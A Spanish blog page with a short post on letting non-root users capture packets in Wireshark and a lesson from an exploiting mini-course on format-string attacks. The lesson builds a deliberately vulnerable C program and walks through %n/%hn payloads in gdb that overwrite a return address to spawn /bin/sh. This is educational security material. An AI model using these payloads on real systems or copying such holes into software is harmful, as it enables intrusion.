martes, 20 de noviembre de 2012

Permitir a un usuario normal capturar tráfico con Wireshark

Vengo de pelearme un poco con Wireshark en Ubuntu y he pensado que era interesante comentarlo rápidamente por aquí.

Resulta que, ¡qué cosas!, suelo usar Wireshark para hacer capturas en vivo en las interfaces de red. Por tal motivo en su momento edité el fichero /usr/share/applications/wireshark.desktop. Este fichero en Ubuntu es el que usa la interfaz Ubiquity para conocer la descripción de una aplicación (qué ejecutar, cómo se llama, el icono y cosas de esas). En su momento cuando instalé Wireshark lo edité para modificar el programa a ejecutar y le puse lo siguiente:

Exec=gksu wireshark %f

Modifiqué esta línea para que al ejecutarlo desde Ubiquity no me abriera Wireshark con los permisos de mi usuario (que no es root y por lo tanto no puede hacer capturas en vivo), sino que por el contrario ejecutara gksu (la versión gráfica de sudo) para darle permisos de administrador, y de esta forma poder abrir Wireshark y poder capturar en vivo.

Esto me introdujo una pequeña incomodidad que, si bien no me ha causado problemas en mi día a día, me tocaba la moral cada vez que la veía. Resulta que al iniciarse Wireshark siempre me saltaba un caja de diálogo diciéndome:

Lua: Error during loading:
 [string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled

Hoy ya me cansé de ver ese error y de hacer las cosas mal, porque en muchos lados se nos avisa de que Wireshark no debería ejecutarse con permisos de root, así que decidí resolverlo.

Googleando un poco llegué a la documentación oficial de wireshark donde se nos dice que en sistemas Debian leamos el documento /usr/share/doc/wireshark/README.Debian. Aquí se nos dice lo siguiente:

   I./b. Installing dumpcap and allowing non-root users to capture packets

      Members of the wireshark group will be able to capture packets on network
      interfaces. This is the preferred way of installation if Wireshark/Tshark
      will be used for capturing and displaying packets at the same time, since
      that way only the dumpcap process has to be run with elevated privileges
      thanks to the privilege separation[1].

      Note that no user will be added to group wireshark automatically, the
      system administrator has to add them manually.

      ...

Básicamente que para poder conseguir lo que queremos tenemos que tener dumpcap instalado y a nuestro usuario en el grupo wireshark.

Me sorprendió bastante que dumpcap no estuviera instalado, supuse que se instalaría a la vez que wireshark. Por suerte está en los repositorios.

$ sudo apt-get install pcaputils

También me llamó la atención que el grupo wireshark no existiera...

$ sudo groupadd wireshark
$ sudo addgroup user wireshark

Que digo yo, ¿por qué no se hace esto en la instalación de wireshark?, algún motivo habrá, no seré yo quién discuta con la gente de wireshark ni de Debian/Ubuntu.

Llegados a este punto tenemos que reiniciar la sesión, ya que no estaremos efectivamente en el grupo wireshark hasta el relogueo (se puede ver con el comando groups).

Sin embargo tampoco pude capturar después de haber hecho esto. Mirando un poco más en la documentación de wireshark, en el apartado de otras distros Linux, comenta un par de cosas sobre las capabilities de los binarios en sistemas compilados con este soporte. Me fijé que dumpcap no tenía activa ninguna capability.

$ getcap dumpcap
$

Así que le dí a mano las capacidades necesarias:

$ setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' dumpcap


No tengo muy claro por qué se necesita darle CAP_NET_RAW, esta característica básicamente permite que un programa pueda escribir directamente en la tarjeta de red (sin pasar por toda la pila que implementa el SO), pero dumpcap no creo que escriba nada, sólo lee y CAP_NET_ADMIN es la que permite poner una interfaz en modo promiscuo.

$ getcap dumpcap
dumpcap = cap_net_admin,cap_net_raw+eip


Bueno, una vez le hayamos dado estas capacidades a dumpcap habremos conseguido que al ejecutar wireshark sin darle permisos de superusuario se pueda capturar en vivo de las interfaces y además nos habremos quitado el pesado fallo de lua. Además también habremos configurado un poco mejor nuestro sistema.

Saludos.

martes, 6 de noviembre de 2012

Minicurso de exploiting (parte 11): Introducción a los format string attacks

Bueno, durante las últimas entradas hemos estado analizando y explotando vulnerabilidades de buffer overflow (bof), y de paso nos hemos creado alguna shellcode sencillita pero funcional. Estas shellcodes que hemos desarrollado (y las que seguiremos desarrollando... si lo logro), las usaremos a lo largo del curso (que tampoco queda tanto). A estas alturas deberíamos habernos dado cuenta ya de la diferencia entre el exploit en sí mismo, el mecanismo por el cuál explotamos una vulnerabilidad, y el payload del exploit, la "carga" que lleva nuestro exploit y que es lo que va a ejecutar.

Aclarado esto y visto ya lo que es un bof, pasamos ahora a otro tipo de vulnerabilidades que también son explotables y permiten lo mismo que los bof, que un proceso deje de hacer lo que se supone debería hacer y que haga lo que nosotros queremos. Esta otra vulnerabilidad es conocida como uncontrolled format strings, format strings vulnerabilities o format strings attacks. Al igual que con los bofs, exec-shield y aslr son contramedidas (a fin de cuentas son contramedidas para la inyección y ejecución de código). Adelanto ya que las pruebas que muestre tendrán ambos métodos desactivados y compilaré los binarios con permisos de ejecución de la pila.

Bien, ¿qué es una vulnerabilidad de format string?. Son aquellas vulnerabilidades que se dan debido a que el programador no hizo un buen uso de las format strings que tienen algunas de las funciones de la biblioteca estandar de C y las cuales conocemos sobradamente, printf(), scanf(), etc. Como sabemos, toda esta familia de funciones tiene un parámetro conocido como "la cadena de formato", una string con unas directivas que le dicen a la función cómo interpretar los parámetros que vienen a continuación.

int printf(const char *format, ...);

Tal vez pensemos que conocemos bien como funciona esta cadena de formato, pero lo cierto es que cada vez que la estudio o miro un manual, más me sorprende, y cosas que en su momento ya sabía tengo que volver a refrescarlas o incluso volverlas a entender, debido a la complejidad de la misma.

No voy a explicar exhaustivamente como funciona la cadena de formato porque se supone que ya sabemos C, pero aquí está el manual.

Veamos la estructura básica de una vulnerabilidad de format string.

#include <stdio.h>
#include <stdlib.h>

void func(char *format) {
    printf(format);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    func(argv[1]);
    return 0;
}


Aquí tenemos una vulnerabilidad en el segundo printf (en negrita) debido a que el usuario puede controlar la cadena de formato. Esto es lo que nunca debemos permitir, que el usuario tenga control directo o indirecto sobre cómo se formatea la salida de una de estas funciones. Lo correcto hubiera sido hacer lo siguiente.

#include <stdio.h>
#include <stdlib.h>

void func(char *format) {
    printf("%s", format);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    func(argv[1]);
    return 0;
}


Nótese que ahora le estamos especificando a printf() que el formateo es simplemente una string. ¿Y por qué lo anterior no es bueno?, pues porque entonces el usuario puede hacer cosas como ésta.

$ ./format "%p . %p"
0x8000 . 0x8049ff4

Lo que he hecho es pasarle a la función una cadena que contiene directivas válidas como si una cadena de formato se tratara. Dado que esta cadena es usada directamente como cadena de formato, la función printf() interpreta estas directivas y comienza la diversión.
En el ejemplo que he puesto he pasado dos "%p", la directiva para imprimir un puntero. Como vemos, para el primer puntero se imprime "0x8000" y para el segundo "0x8049ff4". Sigámosle la pista a cómo se está comportanto printf()
  1. Comienza a parsear la cadena de formato.
  2. Encuentra el primer %p.
    1. Se dirige al segundo parámetro de la función (el primero es el puntero a la cadena de formato), donde se supone que está el valor correspondiente a ese %p.
    2. Dado que realmente a printf() no se le pasó un segundo parámetro se imprime lo que quiera que allí haya (basura), en este caso 0x8000.
  3. Se sigue parseando y se concatena en la salida " . ".
  4. Se encuentra el segundo %p.
    1. Se dirige al tercer parámetro, este valor está después del 0x8000 anterior (en este caso 0x8049ff4), y se imprime.
  5. Se termina de formatear y se envía a la salida el resultado.
Muchos ya saben lo que toca ahora, sacar información interesante de los stack frames... por ejemplo la dirección de retorno de func() :). Veamos el binario un poco con el gdb.

$ gdb -q format
Reading symbols from /path/format...(no debugging symbols found)...done.
(gdb) disas func
Dump of assembler code for function func:
   0x08048414 <+0>:    push   %ebp
   0x08048415 <+1>:    mov    %esp,%ebp
   0x08048417 <+3>:    sub    $0x18,%esp
   0x0804841a <+6>:    mov    0x8(%ebp),%eax
   0x0804841d <+9>:    mov    %eax,(%esp)
   0x08048420 <+12>:    call   0x8048320 <printf@plt>
   0x08048425 <+17>:    leave
   0x08048426 <+18>:    ret  
End of assembler dump.


En negrita he marcado la instrucción sub que reserva espacio para variables locales de main(), son 0x18 bytes (24) lo que se reserva. Con esta información ya podemos calcular que "parámetro" de printf() corresponde a la dirección de retorno de func().

(gdb) br *func+12
Punto de interrupción 1 at 0x8048420
(gdb) r "param"
Starting program: /path/format "param"

Breakpoint 1, 0x08048420 in func ()
(gdb) x/10x $esp
0xbffff2d0:    0xbffff543    0x00008000    0x08049ff4    0x08048491
0xbffff2e0:    0xffffffff    0xb7e54196    0xbffff308    0x08048468
0xbffff2f0:    0xbffff543    0x00000000


En rojo está el espacio reservado para variables locales, en azul el saved EBP y en verde la dirección de retorno. Teniendo en cuenta que el primer valor de todos es el primer parámetro para printf(), es decir la format string...

(gdb) x/s $esp[0]
Intentar desreferenciar un puntero genérico.

(gdb) x/s ((char **)$esp)[0]
0xbffff543:     "param"


Sí, en gdb se puede hacer cast. Podemos concluir que la dirección de retorno corresponde al "séptimo parámetro" de printf(). Vamos a comprobarlo ejecutando directamente.

$ ./format "%p . %p . %p . %p . %p . %p . (%p)"; echo ""
0x8000 . 0x8049ff4 . 0x8048491 . 0xffffffff . 0xb75a7196 . 0xbfd259e8 . (0x8048468)


Efectivamente vemos que hemos podido averiguar la dirección de retorno aprovechándonos de la format string.

Esto está muy bien, pero sólo nos sirve para leer datos de la pila y explorar el proceso, ¿sirve de algo? eso depende de lo que haya en la pila, estamos obteniendo información así que la criticidad de esto depende exclusivamente de la criticidad de la información.

Y a todo esto, ¿no habíamos dicho que las format strings son igual de peligrosas que los bof?, ¿cómo podemos ejecutar código a través de una vulnerabilidad de este tipo?. Ahora empieza lo (aun más) divertido, como ya comenté antes la cadena de formato contiene muchos misterios para un usuario normal de C. Solemos conocer cosas como que "%d" imprime un número en decimal, que "%s" imprime una string, algunos hasta saben retorcer más el formato y saben que "%7d" imprime un número en decimal con al menos 7 dígitos rellenados con espacios si fuere necesario y bastantes cosas más (algunas como DPA las veremos aquí). Sin embargo hay un formato menos conocido pero tremendamente interesante, "%n". Esta opción lo que hace es escribir en la zona de memoria apuntada por el correspondiente parámetro la cantidad de caracteres escritos hasta ese punto. Para ejemplificarlo veamos los resultados del siguiente programa.
#include <stdio.h>

int main() {
    int buf;

    printf("hola%n\n", &buf);
    printf("buf: %d\n", buf);
    printf("%d%n\n", 10, &buf);
    printf("buf: %d\n", buf);
}


El resultado de este programa es:

hola
buf: 4
10
buf: 2


En buf se pone el número de caracteres escritos hasta justo antes del %n.

Probemos ahora a ejecutar el programa anterior (el que tiene la vulnerabilidad) pasándole como parámetro "%n".

$ ./format "%n"
Violación de segmento (`core' generado)


Y ya sabemos lo que significa esto }:-).

Seguro que ya muchos ven por dónde van los tiros, ya no sólo podemos leer datos, ahora también tenemos una primitiva que escribe datos y con esto podemos empezar a jugar. Vamos a hacer la primera explotación de todas, la sencilla, llamar a otra función dentro del programa.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void shellcode() {
    char *args[] = { "/bin/sh", NULL };

    execve(args[0], args, NULL);
    exit(-1);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <param>.\n", argv[0]), exit(-1);

    printf(argv[1]);
    return 0;
}


Averiguamos dónde se encuentra shellcode().

$ objdump -d format2 | egrep "<shellcode>"
08048444 <shellcode>:


Ahora tenemos que averiguar dónde debemos poner esa dirección exactamente.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x0804847e <+0>:    push   %ebp
   0x0804847f <+1>:    mov    %esp,%ebp
   0x08048481 <+3>:    and    $0xfffffff0,%esp
   0x08048484 <+6>:    sub    $0x10,%esp
   0x08048487 <+9>:    cmpl   $0x2,0x8(%ebp)
   0x0804848b <+13>:    je     0x80484af <main+49>
   0x0804848d <+15>:    mov    0xc(%ebp),%eax
   0x08048490 <+18>:    mov    (%eax),%edx
   0x08048492 <+20>:    mov    $0x80485a8,%eax
   0x08048497 <+25>:    mov    %edx,0x4(%esp)
   0x0804849b <+29>:    mov    %eax,(%esp)
   0x0804849e <+32>:    call   0x8048340 <printf@plt>
   0x080484a3 <+37>:    movl   $0xffffffff,(%esp)
   0x080484aa <+44>:    call   0x8048360 <exit@plt>
   0x080484af <+49>:    mov    0xc(%ebp),%eax
   0x080484b2 <+52>:    add    $0x4,%eax
   0x080484b5 <+55>:    mov    (%eax),%eax
   0x080484b7 <+57>:    mov    %eax,(%esp)
   0x080484ba <+60>:    call   0x8048340 <printf@plt>
   0x080484bf <+65>:    mov    $0x0,%eax
   0x080484c4 <+70>:    leave 
   0x080484c5 <+71>:    ret   
End of assembler dump.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba
(gdb) r "prueba"
Starting program: /path/format2 "prueba"

Breakpoint 1, 0x080484ba in main ()
(gdb) x/20xw $esp
0xbffff2e0:    0xbffff541    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff300:    0x00000002    0xbffff394    0xbffff3a0    0xb7fdc858
0xbffff310:    0x00000000    0xbffff31c    0xbffff3a0    0x00000000
0xbffff320:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000
(gdb) info frame
Stack level 0, frame at 0xbffff300:
 eip = 0x80484ba in main; saved eip 0xb7e3a4d3
 Arglist at 0xbffff2f8, args:
 Locals at 0xbffff2f8, Previous frame's sp is 0xbffff300
 Saved registers:
  ebp at 0xbffff2f8, eip at 0xbffff2fc


Aquí mostramos el lugar donde se encuentra la dirección de retorno de main() (en verde). Vemos que está en el séptimo parámetro del printf(). Ahí es donde tenemos que conseguir poner el valor 0x08048444 que corresponde a shellcode(). Para lograr esto usando %n tendríamos que escribir un total de 0x08048444 = 134513732 caracteres.

Podemos ahora construir una string para pasársela al programa que le haga escribir entre los 6 primeros parámetros todos esos caracteres y luego sobreescriba la dirección de retorno.

$ ./format2 "`perl -e 'print "%22418955d"x5 . "%22418957d" . "%n"'`"

Si probamos a ejecutar esto lo que vamos a obtener es muchos, pero que muchos espacios. En mi caso he matado al programa ya que esto no es práctico y no tengo ganas de saber cuanto va a tardar para saber si obtengo la consola o no. En general este esquema presenta dos grandes desventajas. La primera más obvia y que acabamos de ver es que necesitamos imprimir muchísimos caracteres y eso hace de la explotación algo lentísimo. La segunda y que no se ha visto tanto de manifiesto aquí es que, si quiero escribir muy alejado del comienzo de la pila tengo que añadir muchas directivas de conversión para poder alcanzar la zona de memoria a sobreescribir. En el ejemplo que hemos visto sólo estamos a 7 parámetros de distancia de lo que queremos sobreescribir, pero ¿y si estuviéramos a 100?. Vamos a ver como evitar estos dos problemas.

Existen otras directivas para las cadenas de formatos algo menos conocidas como es por ejemplo usar una "h" precediendo al tipo de conversión (%hd por ejemplo) para especificar que lo que se lee o se escribe no es un int sino un sHort int (2 bytes en vez de 4...). Esto nos sirve para escribir la dirección a la que retornar en dos tiempos usando muchos menos caracteres. Dado que el número a escribir es 0x08048444 lo que haremos será escribir primero 0x8444 caracteres y luego 0x0804.

En definitiva, lo que tenemos que hacer es lo siguiente:
  1. Conseguir que en la pila haya algún valor que apunte a la dirección donde se encuentra la dirección de retorno (¡que lío!) para usarlo junto con %n.
  2. Escribir suficientes caracteres para que cuando escribamos con %n, se ponga el número correcto.
  3. Consumir suficientes parámetros para que nuestro %n utilice la dirección que apunta a la dirección de retorno de main().
  4. Utilizar %n para sobreescribir la dirección.
Vayamos por partes, lo primero es conseguir que en la pila haya algún valor que apunte a la dirección de la dirección de retorno. Esto es bastante sencillo, simplemente tenemos que poner ese valor en nuestra string y en algún punto de la pila aparecerá. Vamos a ver todos los pasos que he seguido para hacer esto.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x0804847e <+0>:    push   %ebp
   0x0804847f <+1>:    mov    %esp,%ebp
   0x08048481 <+3>:    and    $0xfffffff0,%esp
   0x08048484 <+6>:    sub    $0x10,%esp
   0x08048487 <+9>:    cmpl   $0x2,0x8(%ebp)
   0x0804848b <+13>:    je     0x80484af <main+49>
   0x0804848d <+15>:    mov    0xc(%ebp),%eax
   0x08048490 <+18>:    mov    (%eax),%edx
   0x08048492 <+20>:    mov    $0x80485a8,%eax
   0x08048497 <+25>:    mov    %edx,0x4(%esp)
   0x0804849b <+29>:    mov    %eax,(%esp)
   0x0804849e <+32>:    call   0x8048340 <printf@plt>
   0x080484a3 <+37>:    movl   $0xffffffff,(%esp)
   0x080484aa <+44>:    call   0x8048360 <exit@plt>
   0x080484af <+49>:    mov    0xc(%ebp),%eax
   0x080484b2 <+52>:    add    $0x4,%eax
   0x080484b5 <+55>:    mov    (%eax),%eax
   0x080484b7 <+57>:    mov    %eax,(%esp)
   0x080484ba <+60>:    call   0x8048340 <printf@plt>
   0x080484bf <+65>:    mov    $0x0,%eax
   0x080484c4 <+70>:    leave 
   0x080484c5 <+71>:    ret   
End of assembler dump.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba
(gdb) r "hola"
Starting program: /path/format2 "hola"

Breakpoint 1, 0x080484ba in main ()
(gdb) x/10xw $esp
0xbffff2f0:    0xbffff543    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff300:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff310:    0x00000002    0xbffff3a4


En la dirección 0xbffff30c (en verde) tenemos la dirección de retorno, vamos ahora a hacer que en algún sitio en la pila aparezca esta dirección.

(gdb) r `perl -e 'print "\x0c\xf3\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/format2 `perl -e 'print "\x0c\xf3\xff\xbf"'`

Breakpoint 1, 0x080484ba in main ()
(gdb) x/200xw $esp
0xbffff2f0:    0xbffff543    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff300:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff310:    0x00000002    0xbffff3a4    0xbffff3b0    0xb7fdc858


Omitimos datos...

0xbffff530:    0x6c707865    0x6974696f    0x662f676e    0x616d726f
0xbffff540:    0x0c003274    0x00bffff3    0x5f485353    0x4e454741
---Type <return> to continue, or q <return> to quit---
0xbffff550:    0x49505f54    0x38313d44    0x47003732    0x415f4750


Omitimos datos...

Usando perl, vuelvo a ejecutar pasándole una cadena que contiene los bytes con la dirección de la dirección de retorno (marcado en negrita). Después muestro dónde está esa cadena (marcada en rojo fuerte) omitiendo mucho de lo que me suelta el comando x/200xw $esp.

Podemos apreciar que efectivamente tenemos 0xbffff30c bastante abajo en la pila, pero que el número no se encuentra en una posición alineada a 4, esto es normal dado que es una cadena de bytes, que se pueden alinear en cualquier dirección dado que el tamaño de los bytes es 1. Pero no podemos tener ese valor partido ya que cuando vayamos a usarlo como un puntero (con el %n) al no estar alineado a 4 se producirá un fallo de acceso a memoria, ya que sólo se puede acceder a direcciones alineadas con el tamaño de los datos a los que se accede, es decir que cuando manejamos bytes se puede acceder a cualquier dirección, con short ints a direcciones múltiplo de 2 y a ints o punteros a direcciones alineadas a 4. Modificar esto en nuestro caso es bastante sencillo.

(gdb) r `perl -e 'print "\x0c\xf3\xff\xbf" . "A"x3'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/format2 `perl -e 'print "\x0c\xf3\xff\xbf" . "A"x3'`

Breakpoint 1, 0x080484ba in main ()
(gdb) x/200xw $esp
0xbffff2e0:    0xbffff540    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3


Omitimos datos...

0xbffff540:    0xbffff30c    0x00414141    0x5f485353    0x4e454741

Hemos añadido 3 bytes extras al final de la string (3 Aes) y con ello hemos conseguido que los bytes "\x0c\xf3\xff\xbf" se queden en una posición alineada a 4. Con esto ya tenemos en algún lado de la pila un valor alineado, que apunta a la dirección de retorno. Ahora tenemos que acceder a ese valor con %n, veamos cómo.

Lo primero a resolver es ¿qué parámetro sería el que corresponde a ese número? El dato se encuentra en 0xbffff540 y el primer parámetro de printf() descontando la propia cadena de formato está en 0xbffff2e4. La distancia entre ambos pues, es 0xbffff540 - 0xbffff2e4 = 0x25c = 604 bytes, o lo que es lo mismo 151 parámetros. Entonces según lo que sabemos, tendríamos que poner 150 directivas ("%d" por ejemplo) en nuestra string antes del "%n". Eso puede ser un supercoñazo si no se porque tenemos perl ("%d"x150), pero tampoco hace falta hacer eso.

Vamos a ver ahora lo que se conoce como Direct Parameter Access (DPA). La cadena de formato permite que las directivas puedan acceder al parámetro que sea y no al que les corresponde, para ello se antepone al caracter de conversión (y caracteres de relleno y longitud si los hubiere) el número del parámetro a acceder y un '$'. En nuestro ejemplo, para acceder al parámetro 151 hacemos lo siguiente.

(gdb) r `perl -e 'print "\x0c\xf3\xff\xbf" . "%151\\$n" . "A"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/format2 `perl -e 'print "\x0c\xf3\xff\xbf" . "%151\\$n" . "A"'`

(gdb) x/20xw $esp
0xbffff2e0:    0xbffff53c    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff300:    0x00000002    0xbffff394    0xbffff3a0    0xb7fdc858
0xbffff310:    0x00000000    0xbffff31c    0xbffff3a0    0x00000000
0xbffff320:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000
(gdb) nexti
0x080484bf in main ()
(gdb) x/20xw $esp
0xbffff2e0:    0xbffff53c    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff300:    0x00000002    0xbffff394    0xbffff3a0    0x00000004
0xbffff310:    0x00000000    0xbffff31c    0xbffff3a0    0x00000000
0xbffff320:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000


Quiero hacer notar varias cosas, para empezar nótese que estamos usando DPA con el "%151$n", con lo que accedemos al parámetro 151. También debemos fijarnos en que antes del '$' he tenido que escaparlo con un par de barras para que llegara al programa (perl, bash y gdb por medio hacen que las cosas se lien un poco). También hay que darse cuenta que ya no añade 3 Aes, sino sólo una porque al añadir "%151$n" la cadena vuelve a cambiar su posición en memoria y hay que realinear su comienzo. Y finalmente también hay que darse cuenta de que al aumentar el tamaño del parámetro al programa (nuestra string) la dirección donde se encuentra la dirección de retorno también cambia.

Dicho esto podemos comprobar que en la dirección que queríamos (0xbffff30c) se modifica con la cantidad de bytes escritos hasta el momento (las dos posiciones marcadas en lila). Con esto sabemos que estamos accediendo correctamente a la dirección que hemos puesto al comienzo de la cadena. Ahora tendríamos que modificar esa dirección para que realmente se acceda a la dirección de retorno, pero entonces pondríamos allí un 4, con lo que saltaríamos a la posición 0x00000004 de memoria y a saber lo que pasaría entonces (probablemente SIGSEGV). Necesitamos poner alli el número 0x08048444 que es donde está shellcode, a donde queremos saltar.

Para lograr poner el número que queremos vamos a usar más características que nos permiten las cadenas de formato. Vamos a aprovecharnos de la posibilidad de ponerle relleno a una conversión de la siguiente manera: "<dirección del retorno><caracteres de relleno>%151$n<relleno para que se alinee a 4>".

Por ahora vamos a obviar la dirección del retorno, la pondremos al final. Centrémonos en los caracteres de relleno. Necesitamos que aquí se escriban los 0x0804844 - 4 = 134513728 caracteres para que cuando se escriba en la dirección de retorno entre el número que queremos (dirección de shellcode()).

La cadena resultante de esto es "\xAA\xBB\xCC\xDD%134513728d%151$nAAAAAA". En rojo tenemos la parte donde debe ir la dirección del retorno, en naranja el relleno para imprimir suficientes caracteres, en verde la sobreescribura y las Aes para rellenar y conseguir alinear a 4. Si probamos a ejecutar eso incurriremos en uno de los problemas anteriores, muchísimos espacios y una ejecución que tarda demasiado.

Veremos ahora cómo conseguir hacer el relleno de otra forma para hacerlo más práctico. Se trata de usar más características de las cadenas de formato para conseguir la sobreescritura en 2 pasos mediante el uso del indicador de longitud que también permiten (¿no son las cadenas de formato como un iceberg?, están ahí pero por debajo son mucho más grandes). A la hora de hacer una conversión se le puede especificar el tamaño de la misma, poniendo cierta letra delante de la letra del formato de conversión. Por ejemplo, "%d" imprime un entero de 4 bytes, mientras que "%hd" imprime un entero de 2 bytes. A su vez "%hn" escribe el número de bytes en un entero de 2 bytes y no de 4 como hace "%n".

Sabiendo esto, lo que haremos será primero escribir en la parte baja de la dirección del retorno y luego en la parte alta, de forma que la primera vez tendremos que escribir 0x8444 = 33860 bytes y la segunda 0x0804 = 2052 bytes. Aquí aparece un nuevo problema (que raro). Debido a cómo funciona "%n" la primera vez necesitaré que se hayan escrito 33860 bytes y la segunda sólo 2052, pero no puedo "volver atrás" una vez he escrito los 33860. Para conseguir el efecto que queremos (que en la parte baja se escriba 33680 y en la alta 2052) tenemos que jugar un poco con las matemáticas y con cómo mueve los datos el procesador. Si se intenta escribir un número mayor de dos bytes (65535) en un short int la parte alta de ese número se desprecia. Veámoslo con un ejemplo, imaginemos que queremos, con esta técnica, que un entero tome el valor 0x00010002. El programa podría ser algo como esto.

#include <stdio.h>

int main() {
    int a;
    unsigned int b;
    unsigned short *pl, *ph;

    a = 0;


    // pl apunta a los 2 bytes menos significativos de b.
    pl = (short *)&b;


    
    // ph apunta a los 2 bytes más significativos de b.
    ph = (short *)(((int)(&b))+2);


    // Las directivas %hn rellenan b a traves de pl y ph.
    printf("AA%hn%<relleno?>d%hn\n", pl, a, ph);
    printf("%08x\n", b);
}


Dado que al principio escribimos dos Aes, cuando lleguemos a la impresión del segundo número ya habremos escrito dos caracteres, así que al volver a imprimir en el segundo %hn se pondrá 3 (debido a que a contiene un 0 que utiliza un caracter para imprimirse) y no 1.

¿Cómo salvar esta situación? con un truquillo algo oscuro. Dado que en la segunda escritura ya no podemos reducir el número de caracteres impresos y sabiendo que cuando escribimos un número en la posición de memoria de un short se desprecian los dos bytes superiores, lo que podemos hacer es, después de la primera impresión, imprimir hasta 0x10001 caracteres de forma que en el segundo %hn se intentará poner en un short el valor 0x10001 pero al ser demasiado grande se despreciarán los 2 bytes superiores, quedándose la zona de memoria escrita con 0x0001. Generalizando podemos decir que si hasta un punto concreto hemos escrito x bytes y luego necesitamos escribir y bytes, siendo x > y, entonces tendremos que escribir 0x10000 + y bytes = z bytes. Y el relleno a poner deberá ser de z - x bytes. Uhmmm... volviendo al ejemplo.

x = 2
y = 1
z = 0x10000 + 1 = 0x10001
relleno = 0x10001 - 2 = 0xffff = 65535

#include <stdio.h>

int main() {
    int a;
    unsigned int b;
    unsigned short *pl, *ph;

    a = 0;
    pl = (short *)&b;
    ph = (short *)(((int)(&b))+2);
    printf("AA%hn%65535d%hn\n", pl, a, ph);
    printf("%08x\n", b);
}


Nótese que hemos puesto en el relleno el valor calculado anteriormente. El resultado de la ejecución es el siguiente:

<65534 espacios>000010002

Vemos como efectivamente b toma el valor que queremos. Se que esto ha sido bastante coñazo y difícil de seguir, so sorry.

Volvamos ahora a nuestro ejemplo con la vulnerabilidad e intentemos aplicar esta técnica. Esta fue la última string que usamos "\xAA\xBB\xCC\xDD134513728%d%151$hAAAAAA" y vimos que no podemos usar un relleno tan grande. Intentemos ahora reescribir el relleno usando la técnica que acabamos de mostrar.

El número que queremos escribir es la dirección de shellcode (0x08048444), lo dividimos en dos trozos, el primero de 0x8444 = 33860 bytes y el segundo de 0x0804 = 2052 bytes. Claramente el primer trozo es más grande que el segundo, por lo tanto para escribir el segundo necesitaremos un relleno de 0x10000 + 0x804 - 0x8444 =  0x83c0 = 33728 bytes. Nuestra string quedaría entonces así "\xAA\xBB\xCC\xDD\xAA+2\xBB\xCC\xDD%33852d%152$hn%33728d%153$hnA".

Vamos a explicarla un poco, para empezar hemos añadido una nueva dirección al principio, ¿por qué?. Dado que ahora vamos a hacer la sobreescritura en 2 pasos, necesitamos tener en la pila la dirección donde escribir en cada uno de ellos, es decir la dirección de la parte baja de la dirección de retorno y la parte alta, por ello en la segunda he puesto un "\xAA+2" para especificar que lo único que cambia es que esa segunda dirección apunta a 2 bytes más altos que la dirección anterior. Luego se ha añadido la primera impresión que deberá escribir hasta 0x8444 bytes (la parte baja de la dirección de shellcode()), dado que antes del número que se imprima ahí ya hemos escrito los 8 bytes de las dos direcciones, hace falta restarlos de los 0x8444 = 33860 bytes necesarios, es decir que necesitaremos un primer relleno de 33852 bytes. Luego usamos DPA junto con "%hn" para escribir la mitad de la dirección de retorno, notarás que antes accedía al parámetro 151 y ahora accedo al 152, esto es debido a que al añadir 4 bytes más al principio de la string (la nueva dirección) la string no acaba en el mismo sitio de antes, depurando con gdb podemos averiguar la nueva distancia. Seguidamente volvemos a escribir otro número con su correspondiente relleno para que se escriban 0x0804 bytes como explicamos anteriormente. Luego usando de nuevo DPA y "%hn" accedemos al siguiente parámetro (la nueva dirección que hemos puesto) y sobreescribimos la parte alta de la dirección de retorno, donde nos quedará 0x08048444 (la dirección de shellcode()). Finalmente añadimos las Aes necesarias para que el comienzo de la string quede alineada a 4.

Veámoslo en directo desde el gdb.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba

(gdb) r `perl -e 'print "\xdc\xf2\xff\xbf\xde\xf2\xff\xbf" . "%33852d" . "%152\\$n" . "%33728d" . "%153\\$hn" . "AA"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/format2 `perl -e 'print "\xdc\xf2\xff\xbf\xde\xf2\xff\xbf" . "%33852d" . "%152\\$n" . "%33728d" . "%153\\$hn" . "AA"'`

Breakpoint 1, 0x080484ba in main ()

(gdb) x/200xw $esp
0xbffff2c0:    0xbffff520    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2d0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3


<Omito muchos datos>

0xbffff520:    0xbffff2dc    0xbffff2de    0x38333325    0x25643235
0xbffff530:    0x24323531    0x3333256e    0x64383237    0x33353125
